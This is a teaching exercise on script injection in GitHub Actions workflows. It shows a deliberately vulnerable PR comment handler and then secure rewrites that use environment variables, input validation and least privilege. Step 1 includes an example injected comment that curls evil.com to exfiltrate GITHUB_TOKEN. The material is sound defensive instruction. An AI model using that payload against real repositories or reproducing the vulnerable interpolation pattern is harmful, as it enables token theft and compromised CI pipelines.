Questions
A workflow is vulnerable to script injection attacks. Identify and fix the security issues.
The Scenario
Security team flagged this workflow during an audit:
name: PR Comment Handler
on:
issue_comment:
types: [created]
jobs:
process:
if: github.event.issue.pull_request && contains(github.event.comment.body, '/deploy')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Deploy
run: |
echo "Deploying based on comment: ${{ github.event.comment.body }}"
./deploy.sh ${{ github.event.comment.body }}
- name: Update PR
run: |
gh pr comment ${{ github.event.issue.number }} --body "Deployed: ${{ github.event.comment.body }}"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
The security team says this is “critically vulnerable.” Why?
The Challenge
Identify all injection vulnerabilities in this workflow and implement secure alternatives.
A junior engineer might not see the problem, think the workflow is safe because it's internal, or just add input validation in bash. These approaches miss the fundamental injection vector and leave the workflow exploitable.
A senior engineer recognizes that user-controlled data (${{ }}) interpolated directly into scripts creates injection vectors. They use environment variables instead of direct interpolation, validate and sanitize inputs, and apply the principle of least privilege.
Step 1: Understand the Attack Vector
# VULNERABLE: Direct interpolation of user input
- run: |
echo "Comment: ${{ github.event.comment.body }}"
# Attacker creates comment:
# /deploy"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "
# Results in execution of:
echo "Comment: /deploy"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""
# ^ The attacker's command runs with workflow permissions!Step 2: The Secure Pattern - Use Environment Variables
name: Secure PR Comment Handler
on:
issue_comment:
types: [created]
# Minimum required permissions
permissions:
contents: read
pull-requests: write
jobs:
process:
# Additional validation
if: |
github.event.issue.pull_request &&
contains(github.event.comment.body, '/deploy') &&
github.event.comment.author_association == 'MEMBER'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# SECURE: Pass user input via environment variable
- name: Process comment
env:
COMMENT_BODY: ${{ github.event.comment.body }}
PR_NUMBER: ${{ github.event.issue.number }}
run: |
# Now $COMMENT_BODY is a string, not interpolated code
echo "Processing comment from PR #$PR_NUMBER"
# Validate the command format
if [[ "$COMMENT_BODY" =~ ^/deploy[[:space:]]+(staging|production)$ ]]; then
ENVIRONMENT="${BASH_REMATCH[1]}"
echo "Valid deploy command for: $ENVIRONMENT"
./deploy.sh "$ENVIRONMENT"
else
echo "Invalid command format"
exit 1
fi
- name: Update PR
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PR_NUMBER: ${{ github.event.issue.number }}
run: |
# Safe: PR_NUMBER is validated by GitHub
gh pr comment "$PR_NUMBER" --body "Deployment initiated"Step 3: Validate All User-Controlled Inputs
name: Secure Issue Handler
on:
issues:
types: [opened, edited]
permissions:
issues: write
jobs:
validate:
runs-on: ubuntu-latest
steps:
- name: Validate issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_BODY: ${{ github.event.issue.body }}
run: |
# Validate title format (example: must start with [BUG] or [FEATURE])
if [[ ! "$ISSUE_TITLE" =~ ^\[(BUG|FEATURE|DOCS)\] ]]; then
echo "::error::Issue title must start with [BUG], [FEATURE], or [DOCS]"
exit 1
fi
# Sanitize for logging (remove potential injection characters)
SAFE_TITLE=$(echo "$ISSUE_TITLE" | tr -d '`${}|;&')
echo "Processing issue: $SAFE_TITLE"Step 4: Secure GitHub Script Usage
# VULNERABLE: Direct interpolation in github-script
- uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: 'Received: ${{ github.event.comment.body }}' // INJECTION!
})
# SECURE: Use environment variables with github-script
- uses: actions/github-script@v7
env:
COMMENT_BODY: ${{ github.event.comment.body }}
with:
script: |
const body = process.env.COMMENT_BODY;
// Validate and sanitize
const sanitized = body.replace(/[<>]/g, '');
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: `Received: ${sanitized}`
})Step 5: Secure Workflow for External Contributors
name: PR from Fork Handler
# pull_request_target runs with repo secrets - be extra careful!
on:
pull_request_target:
types: [opened, synchronize]
permissions:
contents: read
pull-requests: write
jobs:
# First job: safe operations only, no checkout of PR code
validate:
runs-on: ubuntu-latest
outputs:
safe: ${{ steps.check.outputs.safe }}
steps:
- name: Check if trusted contributor
id: check
env:
AUTHOR: ${{ github.event.pull_request.user.login }}
ASSOCIATION: ${{ github.event.pull_request.author_association }}
run: |
# Only trust members and collaborators
if [[ "$ASSOCIATION" == "MEMBER" || "$ASSOCIATION" == "COLLABORATOR" ]]; then
echo "safe=true" >> $GITHUB_OUTPUT
else
echo "safe=false" >> $GITHUB_OUTPUT
fi
# Second job: only runs for trusted contributors
build:
needs: validate
if: needs.validate.outputs.safe == 'true'
runs-on: ubuntu-latest
steps:
# Safe to checkout PR code only for trusted contributors
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test
# For untrusted contributors, request review
request-review:
needs: validate
if: needs.validate.outputs.safe == 'false'
runs-on: ubuntu-latest
steps:
- name: Label for review
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PR_NUMBER: ${{ github.event.pull_request.number }}
run: |
gh pr edit "$PR_NUMBER" --add-label "needs-review"Step 6: Complete Security Checklist
name: Security-Hardened Workflow
on:
pull_request:
types: [opened, synchronize]
# 1. Minimum permissions
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
# 2. Pin action versions to full SHA
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
# 3. Validate inputs before use
- name: Validate PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
run: |
# Never directly interpolate, always use env vars
echo "PR by: $PR_AUTHOR"
# 4. Use intermediate environment variables
- name: Build
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
# Validate branch name format
if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then
echo "Invalid branch name format"
exit 1
fi
npm run build
# 5. Don't expose secrets in logs
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }}
run: |
# Never echo secrets
# Bad: echo "Key: $API_KEY"
# Good: use in command directly
curl -H "Authorization: Bearer $API_KEY" https://api.example.com/deploy
# 6. Separate jobs for elevated permissions
comment:
needs: build
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Comment on PR
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PR_NUMBER: ${{ github.event.pull_request.number }}
run: |
gh pr comment "$PR_NUMBER" --body "Build successful!" Injection Prevention Rules
| Context | Vulnerable | Secure |
|---|---|---|
| Shell commands | ${{ github.event.* }} in run | Use env: block |
| JS in github-script | ${{ }} in script | Use process.env |
| PR titles/bodies | Direct interpolation | Environment variable |
| Issue comments | Direct in any context | Always sanitize |
| Branch names | Can contain special chars | Validate format |
Practice Question
Why is using environment variables safer than direct interpolation of github.event data in workflow run steps?